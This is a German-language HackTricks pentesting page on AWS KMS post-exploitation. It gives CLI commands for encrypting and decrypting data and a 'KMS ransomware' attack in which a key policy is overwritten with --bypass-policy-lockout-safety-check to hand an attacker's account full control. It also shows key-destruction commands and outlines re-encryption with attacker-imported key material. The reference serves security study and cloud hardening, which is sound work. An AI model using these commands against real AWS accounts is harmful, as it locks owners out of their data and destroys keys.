AWS - KMS Post Exploitation

Support HackTricks

KMS

Für weitere Informationen siehe:

AWS - KMS Enum

Informationen verschlüsseln/entschlüsseln

Beachten Sie, dass die Datei, wenn Sie einige Daten innerhalb einer Datei entschlüsseln möchten, die binären Daten enthalten muss, nicht base64-kodierte Daten.

  • Verwendung eines symmetrischen Schlüssels

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Verwendung eines asymmetrischen Schlüssels:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Ein Angreifer mit privilegierten Zugriff auf KMS könnte die KMS-Richtlinie von Schlüsseln ändern und seinem Konto Zugriff darauf gewähren, während der Zugriff, der dem legitimen Konto gewährt wurde, entfernt wird.

Dann können die Benutzer des legitimen Kontos auf keine Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, was eine einfache, aber effektive Ransomware über das Konto schafft.

Beachten Sie, dass AWS verwaltete Schlüssel nicht von diesem Angriff betroffen sind, nur vom Kunden verwaltete Schlüssel.

Beachten Sie auch die Notwendigkeit, den Parameter --bypass-policy-lockout-safety-check zu verwenden (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Beachten Sie, dass Sie, wenn Sie diese Richtlinie ändern und nur einem externen Konto Zugriff gewähren, und dann von diesem externen Konto aus versuchen, eine neue Richtlinie festzulegen, um den Zugriff auf das ursprüngliche Konto zurückzugeben, dies nicht möglich sein wird.

Generische KMS-Ransomware

Globale KMS-Ransomware

Es gibt einen weiteren Weg, um eine globale KMS-Ransomware durchzuführen, der die folgenden Schritte umfasst:

  • Erstellen Sie einen neuen Schlüssel mit einem vom Angreifer importierten Schlüsselmaterial

  • Re-verschlüsseln Sie ältere Daten, die mit der vorherigen Version verschlüsselt wurden, mit der neuen.

  • Löschen Sie den KMS-Schlüssel

  • Jetzt könnte nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, die verschlüsselten Daten entschlüsseln

Schlüssel zerstören

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Beachten Sie, dass AWS jetzt verhindert, dass die vorherigen Aktionen von einem anderen Konto aus durchgeführt werden:

Unterstützen Sie HackTricks

Last updated